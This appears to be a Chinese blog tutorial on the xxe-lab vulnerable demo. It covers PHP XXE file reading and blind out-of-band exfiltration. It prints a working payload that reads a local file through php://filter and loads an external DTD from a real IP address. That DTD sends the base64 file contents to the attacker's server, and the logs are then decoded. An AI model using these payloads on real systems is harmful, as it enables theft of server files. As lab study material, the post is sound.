zoukankan      html  css  js  c++  java
  • xxe-lab学习

    0x00 前言

    xxe-lab是一个一个包含php,java,python,C#等各种语言版本的XXE漏洞Demo
    这里附上下载链接https://github.com/c0ny1/xxe-lab
    我们用php来演示

    注意:
    这里我们要求php版本为5.2,5.3,5.4,因为他们的libxml版本为2.7.7,2.7.8
    允许加载外部实体,libxml版本在2.9.1之后,默认是不解析外部实体

    0x01 有回显XXE

    这里我们用外部实体来进行文件读取,当然还有其他的利用方式,如:端口扫描,拒绝服务攻击,命令执行等,我们这里先不演示了

    0x02 无回显的XXE

    大致思路是这样的:

    我们可以写两个外部参数实体,第一个用来请求本地数据内容,第二个用 http 协议或者其他协议把请求到的数据作为参数带到我们的 vps,这样就实现了数据外带了。
    我们将源码的输出代码注释掉,将错误信息也不显示

    当我们继续运行上面的内容,没有回显

     我们构造外部实体

    <?xml version="1.0"?>
    <!DOCTYPE test [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/hacker.txt">
    <!ENTITY % dtd SYSTEM "http://49.233.151.121/evil.xml">
    %dtd;
    %send;
    ]>

     远端服务器上要建evil.xml

    <!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://49.233.151.121/a.php?content=%file;'>"> %payload;

    然后在日志文件中就会有记录
    运行命令 tail /var/log/httpd/access_log -f

    然后进行base64解码
    就会得到文件的内容
    之所以要把“%”转成 html 实体编码是因为在实体的值中不能有“%”,所以也就只能转成&#x25了。

  • 相关阅读:
    8.30 树上最大流
    8.30 巫师之旅
    将一个文件夹中所有图片的名字填充为6位数的长度
    将位于同一文件夹中的多个视频中的图片保存在一个文件夹中
    将视频中所有图片保存到一个文件夹中
    pytorch的基础记录
    mnist数据集进行自编码
    循环神经网络进行回归
    循环神经网络进行分类
    卷积神经网络
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/12981595.html
Copyright © 2011-2022 走看看